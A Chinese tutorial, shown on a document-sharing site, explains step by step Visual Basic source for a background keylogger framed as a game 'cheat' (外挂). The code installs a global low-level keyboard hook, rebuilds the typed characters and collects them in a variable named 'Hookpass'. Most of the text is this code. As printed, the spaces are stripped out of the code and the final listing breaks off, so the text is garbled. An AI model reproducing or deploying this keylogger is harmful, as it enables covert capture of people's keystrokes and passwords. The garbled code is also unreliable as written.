VB外挂之HOOK技术的最详细教程.docx

上传人:b****1 文档编号:10484042 上传时间:2023-05-26 格式:DOCX 页数:20 大小:20.94KB
下载 相关 举报
VB外挂之HOOK技术的最详细教程.docx_第1页
第1页 / 共20页
VB外挂之HOOK技术的最详细教程.docx_第2页
第2页 / 共20页
VB外挂之HOOK技术的最详细教程.docx_第3页
第3页 / 共20页
VB外挂之HOOK技术的最详细教程.docx_第4页
第4页 / 共20页
VB外挂之HOOK技术的最详细教程.docx_第5页
第5页 / 共20页
VB外挂之HOOK技术的最详细教程.docx_第6页
第6页 / 共20页
VB外挂之HOOK技术的最详细教程.docx_第7页
第7页 / 共20页
VB外挂之HOOK技术的最详细教程.docx_第8页
第8页 / 共20页
VB外挂之HOOK技术的最详细教程.docx_第9页
第9页 / 共20页
VB外挂之HOOK技术的最详细教程.docx_第10页
第10页 / 共20页
VB外挂之HOOK技术的最详细教程.docx_第11页
第11页 / 共20页
VB外挂之HOOK技术的最详细教程.docx_第12页
第12页 / 共20页
VB外挂之HOOK技术的最详细教程.docx_第13页
第13页 / 共20页
VB外挂之HOOK技术的最详细教程.docx_第14页
第14页 / 共20页
VB外挂之HOOK技术的最详细教程.docx_第15页
第15页 / 共20页
VB外挂之HOOK技术的最详细教程.docx_第16页
第16页 / 共20页
VB外挂之HOOK技术的最详细教程.docx_第17页
第17页 / 共20页
VB外挂之HOOK技术的最详细教程.docx_第18页
第18页 / 共20页
VB外挂之HOOK技术的最详细教程.docx_第19页
第19页 / 共20页
VB外挂之HOOK技术的最详细教程.docx_第20页
第20页 / 共20页
亲,该文档总共20页,全部预览完了,如果喜欢就下载吧!
下载资源
资源描述

VB外挂之HOOK技术的最详细教程.docx

《VB外挂之HOOK技术的最详细教程.docx》由会员分享,可在线阅读,更多相关《VB外挂之HOOK技术的最详细教程.docx(20页珍藏版)》请在冰点文库上搜索。

VB外挂之HOOK技术的最详细教程.docx

VB外挂之HOOK技术的最详细教程

vb外挂之HOOK技术终极详细讲解

By:

史上最大小强

很多学习vb的人都想学习外挂及hook,我在网上也找到了一段程序,后台键盘记录外挂,其实网上大多数流传的HOOK代码都跟这段代码几乎一个出处。

网上有关于这些代码的解释,但是关键局部根本就没解释,等于没说。

下面的程序解释得很详细。

有的地方全属个人看法,不过还是值得一看。

不对的地方欢送大家指出。

当然,高手勿笑。

好吧,正式我们的hook学习。

Hook并不神秘,它说到底就是通过调用API函数在消息队列中安装钩子,实现截获消息,处理消息的功能。

在这里,我浅浅的讲讲windows的消息机制。

比方,我们按键盘的某个键时,系统就会生成一个消息到系统的消息队列,系统再发送到应用程序消息队列中,windows有不同的消息队列。

对于键盘钩子,是安装在系统的消息队列中。

看程序:

〔以下程序在模块中,呵呵,工程-----添加模块〕

OptionExplicit‘强制性变量声明,不允许出现未声明的变量。

呵呵,都懂!

PublicDeclareFunctionGetKeyStateLib"user32"(ByValnVirtKeyAsLong)AsInteger

‘Getkeystate是api函数,顾名思义,获取某个键的状态,参数nvirtkey就是某个键的虚拟键键码,不同的系统虚拟键码不同。

比方vbkeycontrol或者vbkeyshift就可以作为参数。

返回值是16位的,如开关键翻开,那么位0设为1〔开关键包括CapsLock,NumLock,ScrollLock〕;如某个键当时正处于按下状态,那么位15为1;如已经抬起,那么为0。

数据在储存器中,最高位为1时是负数,为0时是正数。

PublicDeclareFunctionSetWindowsHookExLib"user32"Alias"SetWindowsHookExA"(ByValidHookAsLong,ByVallpfnAsLong,ByValhmodAsLong,ByValdwThreadIdAsLong)AsLong

‘Setwindowshookex,就是建立钩子的函数,最主要的的函数。

参数:

Idhoook:

要建立什么类型的hook。

有以下类型:

WH_MSGFILTER=-1;线程级;截获用户与控件交互的消息

WH_JOURNALRECORD=0;系统级;记录所有消息队列从消息队列送出的输入消息,在消息从队列中去除时发生;可用于宏记录

WH_JOURNALPLAYBACK=1;系统级;回放由WH_JOURNALRECORD记录的消息,也就是将这些消息重新送入消息队列

WH_KEYBOARD=2;系统级或线程级;截获键盘消息

WH_GETMESSAGE=3;系统级或线程级;截获从消息队列送出的消息

WH_CALLWNDPROC=4;系统级或线程级;截获发送到目标窗口的消息,在SendMessage调用时发生

WH_CBT=5;系统级或线程级;截获系统根本消息,譬如:

窗口的创立、激活、关闭、最大最小化、移动等等

WH_SYSMSGFILTER=6;系统级;截获系统围用户与控件交互的消息

WH_MOUSE=7;系统级或线程级;截获鼠标消息

WH_HARDWARE=8;系统级或线程级;截获非标准硬件(非鼠标、键盘)的消息

WH_DEBUG=9;系统级或线程级;在其他钩子调用前调用,用于调试钩子

WH_SHELL=10;系统级或线程级;截获发向外壳应用程序的消息

WH_FOREGROUNDIDLE=11;系统级或线程级;在程序前台线程空闲时调用

WH_CALLWNDPROCRET=12;系统级或线程级;截获目标窗口处理完毕的消息,在SendMessage调用后发生

WH_KEYBOARD_LL=13;解惑键盘消息。

MSDN是这样说的:

安装一个钩子过程监听底层键盘事件。

本次键盘钩子用到的就是它。

WH_MOUSE_LL=14;解获鼠标消息。

MSDN是这样说的:

安装一个钩子过程监听底层鼠标事件。

Ipfn:

回调函数的指针。

重要的说说这个函数,可以这样解释,我们截获了消息怎么办,肯定要进展处理,这时就建立一个函数进展处理。

在调用的时候用addressof函数名称来调用。

这个回调函数有固定的格式:

PublicFunctionCallKeyHookProc(ByValcodeAsLong,ByValwParamAsLong,ByVallParamAsLong)AsLong

‘CallKeyHookProc这个函数名字可以随便取,无固定。

至于这三个参数可能有的人看了下面的程序会问:

我们并没有给它传递实参啊?

就我的想法可能是因为正是因为它是固定的,用addressof调用,这个回调函数在被调用的时候系统就传递给了它参数,所以,就算它是我们定义的函数,它的参数也已有了固定的意思:

Code:

代表是什麽请况之下所产生的Hook,随Hook的不同而有不同组的可能值。

网上都这么说,可像我们这种菜不懂。

我觉得可以这样理解,它就代表着hook的状态,比方我们的键盘钩子,可能的code如下:

HC_ACTION=0‘当系统传递过来的code是此值时,表示信息要被处理。

HC_GETNEXT=1‘下面这三个估计就是不能被我们处理吧。

HC_NOREM=HC_NOREMOVE

HC_NOREMOVE=3

Wparam:

对于键盘钩子来说,它包含了不同键的状态,比方WM_KEYUP、WM_KEYDOWM…….不同的钩子有不同类型的消息。

Lparam:

包含了键的信息,比方扫描码等、,执行时间等。

它属于附加信息。

继续看setwindowshookex的参数:

Hmod:

包含钩子函数的模块(EXE、DLL)句柄;一般是HInstance;如果是当前线程这里可以是0。

本文这个参数取app.hinstance。

dwThreadId:

代表执行这个Hook的ThreadId,如果不设定是那个Thread来做,那么传0(所以一般来说,RemoteHook传0进去),而VB的LocalHook一般可传App.ThreadId进去。

本文中这个参数取0.

Setwindowshookex成功后返回钩子的句柄。

这个句柄我们要把它保存下来。

PublicDeclareFunctionUnhookWindowsHookExLib"user32"(ByValhHookAsLong)AsLong

‘卸载钩子,hhook是钩子句柄。

PublicDeclareFunctionCallNextHookExLib"user32"(ByValhHookAsLong,ByValnCodeAsLong,ByValwParamAsLong,lParamAsAny)AsLong

‘对截获的消息进展处理后,我们可以调用这个函数把消息传递给下一个钩子〔系统里有很多钩子,最后安装的钩子排在最前面,最先截获消息。

最先安装的在最后面。

参数不用解释了,同上〕

PublicDeclareFunctionGetKeyNameTextLib"user32"Alias"GetKeyNameTextA"(ByVallParamAsLong,ByVallpBufferAsString,ByValnSizeAsLong)AsLong

‘通过扫描码获得键名

参数:

lParam:

一共32位,位0到5=0;位16到23=按键的扫描码〔注意第0位过后才是第一位〕;位24为增强型键盘上的扩展位;位25如设为1,表示忽略左右Shift和Ctrl键的区别

lpBuffer:

用一个变量保存得到的键名

nSize:

指定保存键名的变量的长度。

返回值:

实际键名的长度

例如:

strLen=GetKeyNameText(lKey,strKeyName,250)如果IKEY是Esc键的扫描码,然后strkeyName的值是“Esc囗囗囗囗囗囗囗囗。

〔一共247个囗,总共250字节〕〞,strlen是3,也就是ESC的字节数。

所以,得到的键名需要处理才能实际使用。

PublicDeclareSubCopyMemoryLib"kernel32"Alias"RtlMoveMemory"(lpvDestAsAny,ByVallpvSourceAsLong,ByValcbCopyAsLong)

‘复制存地址中的数据到另一个地址,lpvdest是目标地址,lpvsource是源地址,cbcopy是要复制的字节长度,这个长度从源地址的首地址开场。

这个好理解。

以下是常量声明:

〔使用前都要声明常量,当然,下面有一些不需要的常量声明〕

PublicConstWH_KEYBOARD=2

PublicConstWH_KEYBOARD_LL=13

'-----------------------------------------

PublicConstHC_ACTION=0

PublicConstHC_SYSMODALOFF=5

PublicConstHC_SYSMODALON=4

'---------------------------------------

PublicConstWM_KEYDOWN=&H100

PublicConstWM_KEYUP=&H101

PublicConstWM_SYSKEYDOWN=&H104

PublicConstWM_SYSKEYUP=&H105

PublicTypeKEYMSGS

vKeyAsLong

sKeyAsLong

FlagAsLong

timeAsLong

EndType

‘这里定义了一个数据构造类型,也算是个固定构造吧。

记住就行了。

PublicstrKeyNameAsString*255

‘保存键名的变量,指定长度255字节,反正最好255吧,不然程序会出错的。

要比nsize大点。

PublickeyMsgAsKEYMSGS

‘指定一个KEYMSGS类型的变量KeyMsg

PublicbolCtrlAsBoolean

PublicbolShiftAsBoolean

PublicbolCapsLockAsBoolean

这几个键表示按键的状态,比方是否按下ctrl键

PublicHookIDAsLong

PublicRECAsBoolean

PublicHookpassAsString

‘以上定义了程序中要用到的变量。

好了,可以看看我们实际的回调函数了。

PublicFunctionCallKeyHookProc(ByValcodeAsLong,ByValwParamAsLong,ByVallParamAsLong)AsLong

DimlKeyAsLong

DimstrKeyNameAsString*255

DimstrLenAsLong

DimstrNowInformationAsString

DimstrInformationAsString‘变量在用的时候再解释

Ifcode=HC_ACTIONThen‘当code等于HC_ACTION时,由于安装的是键盘钩子,估计意思就是捕捉到键盘钩子后可以进展处理。

CopyMemorykeyMsg,lParam,LenB(keyMsg)

‘把lparam中的值共4个字节传给keyMsg

SelectCasewParam‘选择wparam

CaseWM_SYSKEYDOWN,WM_KEYDOWN:

‘如果wparam的消息是按下键〔包括系统键和普通的键〕

IfGetKeyState(vbKeyControl)<0Then‘如果ctrl键被按下,如果键被按下,getkeystate的返回值-127或者-128,前面说过,键按下时GetkeyState返回值最高位15位是1,也就是说它是个负数。

bolCtrl=True‘表示ctrl键按下了

EndIf

IfGetKeyState(vbKeyShift)<0Then

bolShift=True‘解释同上

EndIf

CaseWM_SYSKEYUP,WM_KEYUP:

‘如果wparam消息是键弹起〔包括系统键和普通键〕

IfGetKeyState(vbKeyControl)>=0Then‘ctrl键处于弹起状态,GetKeyState返回值为1或0.

bolCtrl=False‘表示ctrl键没按下

EndIf

IfGetKeyState(vbKeyShift)>=0Then

bolShift=False‘同上

EndIf

If(GetKeyState(vbKeyCapital)And1)<>0Then'如果大小写切换键CapsLK键处于激活状态

bolCapsLock=True

Else

bolCapsLock=False‘CapsLK没激活

EndIf

lKey=keyMsg.sKeyAnd&HFF‘这句我也纠结了好久,因为我去掉&HFF结果丝毫没影响。

这句话是“与“操作,按位与后,1与0是0,0与0是0,1与1是1,但是看&HFF是十六进制数,转为二进制后全是1,对keyMsg.Skey没影响。

所以我觉得多余了。

lKey=lKey*65536‘看到这里可能很多人不明白,为什么乘以65536,经过我调试,程序运行时。

当我点一下键盘上的数字键1后,通过上面的程序,得到值的如下:

lparam:

1310180〔回调函数的参数值lparam〕,我觉得我得到的是个地址,因为我不管按1还是按2,lparam的值都是1310180,因为它是long型数据,所以我们copymemory的复制的数据可能是该地址及该地址以后4个字节的值。

keymsg.vkey=49数字键1的十进制ASCII值是49,1的十六进制ASCII是33.

keymsg.skey=2(没乘以65536),这是键1的扫描码,扫描码可真不好找,我在XX搜索扫描码,我看1的扫描码是0x0231,这显然不对,这并不是这里的扫描码,在baidu的文库里还是找到了1的扫描码是2,但我不知道为什么有两组不同的扫描码。

但1的键盘扫描码确定是2没错。

keymsg.skey=131072〔乘以65536后〕,131072是十进制值,我把它转化成二进制后是0,前面说过,GetKeyNameText的参数lparam:

一共32位,位0到5=0;位16到23=按键的扫描码,我们这里从第零位开场数,16到17位是10,也就是2的二进制数。

也就是说,乘以65536的目地就是为了得到相应的参数,为什么呢?

我们看,65536是2的16次方,2*65536就相当于10〔二进制〕*2的16次方,也就是相当于把2的所有位向左移16位〔例如要左移10位,就乘以2的十次方〕。

strLen=GetKeyNameText(lKey,strKeyName,250)

‘lkey是我们得到的键的相应处理后的扫描码,得到键名,并得到实际键名长度。

strNowInformation=Left(strKeyName,strLen)

‘去掉键名后面不必要的“囗〞,前面已介绍原因。

 

下面的都是次要的,为的是如何显示键名,我只浅要的说说:

strInformation=Replace(strNowInformation,"Num","")

‘replace函数,例如,replace〔“美国中国〞,“美国〞,“中国〞〕,转换后得到“中国中国〞,美国被中国替换了。

这里的意思就是先看看strnowinformation的值是不是Num,是就替换成“〞〔空〕。

strInformation=Replace(strInformation,"Del",".")

strInformation=Replace(strInformation,"Ctrl","")

strInformation=Replace(strInformation,"Shift","")

strInformation=Replace(strInformation,"Alt","")

strInformation=Replace(strInformation,"Tab","")

strInformation=Replace(strInformation,"Right","")

strInformation=Replace(strInformation,"Left","")

strInformation=Replace(strInformation,"CapsLock","")

strInformation=Replace(strInformation,"capslock","")

strInformation=Replace(strInformation,"Backspace","|")

strInformation=Replace(strInformation,"backspace","|")

strInformation=Replace(strInformation,"Space","")

strInformation=Replace(strInformation,"space","")

strInformation=Replace(strInformation,"","")

‘以上的程序都是为了如何显示键名。

IfbolCtrl=FalseThen

IfbolShift=FalseAndbolCapsLock=FalseThen

Hookpass=Hookpass&LCase(strInformation)

‘lcase的意思就是转化为小写,通过前面的判断,capslk键没激活时,全部小写。

EndIf

IfbolShift=FalseAndbolCapsLock=TrueThen

Hookpass=Hookpass&strInformation

‘跟上面相反

EndIf

IfbolShift=TrueThen

SelectCasestrInformation

Case"`"

Hookpass=Hookpass&"~"

Case"1"

Hookpass=Hookpass&"!

"

Case"2"

Hookpass=Hookpass&""

Case"3"

Hookpass=Hookpass&"#"

Case"4"

Hookpass=Hookpass&"$"

Case"5"

Hookpass=Hookpass&"%"

Case"6"

Hookpass=Hookpass&"^"

Case"7"

Hookpass=Hookpass&"&"

Case"8"

Hookpass=Hookpass&"*"

Case"9"

Hookpass=Hookpass&"("

Case"0"

Hookpass=Hookpass&")"

Case"-"

Hookpass=Hookpass&"_"

Case"="

Hookpass=Hookpass&"+"

Case"["

Hookpass=Hookpass&"{"

Case"]"

Hookpass=Hookpass&"}"

Case";"

Hookpass=Hookpass&":

"

Case"'"

Hookpass=Hookpass&"'"

Case"\"

Hookpass=Hookpass&"|"

Case","

Hookpass=Hookpass&"<"

Case"."

Hookpass=Hookpass&">"

Case"/"

Hookpass=Hookpass&"?

"

‘当shift按下状态或弹起状态,一个键有两个不同的值。

CaseElse

IfbolCapsLock=FalseThen

Hookpass=Hookpass&strInformation

Else

Hookpass=Hookpass&LCase(strInformation)

EndIf

EndSelect

EndIf

EndIf

EndSelect

EndIf

Ifcode<>0Then‘这里我估计就是如果不能对键盘消息进展操作,就。

CallKeyHookProc=CallNextHookEx(0,code,wParam,lParam)

EndIf

EndFunction

以上是在模块中声明

下面:

在窗体中写下如下代码:

OptionExplicit

PrivateSubForm_Load()

HookID=SetWindowsHookEx(WH_KEYBOARD_LL,AddressOfCallKeyHookProc,App.hInstance,&O0)‘建立键盘钩子

EndSub

PrivateSubForm_Unload(CancelAsInteger)

UnhookWindowsHookExHookID’卸载键盘钩子

EndSub

PrivateSubTimer1_Timer()

Text1.Text=Hookpass‘记录键盘

EndSub

 

全文代码

在窗体上建一个TEXT控件Text1,来记录键盘。

新建模块

输入代码:

OptionExplicit

PublicDeclareFunctionGetKeyStateLib"user32"(ByValnVirtKeyAsLong)AsInteger

PublicDeclareFunctionSetWindowsHookExLib"user32"Alias"SetWindowsHookExA"(ByValidHookAsLong,ByVallpfnAsLong,ByValhmodAsLong,ByValdwThreadIdAsL

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 经管营销 > 销售营销

copyright@ 2008-2023 冰点文库 网站版权所有

经营许可证编号:鄂ICP备19020893号-2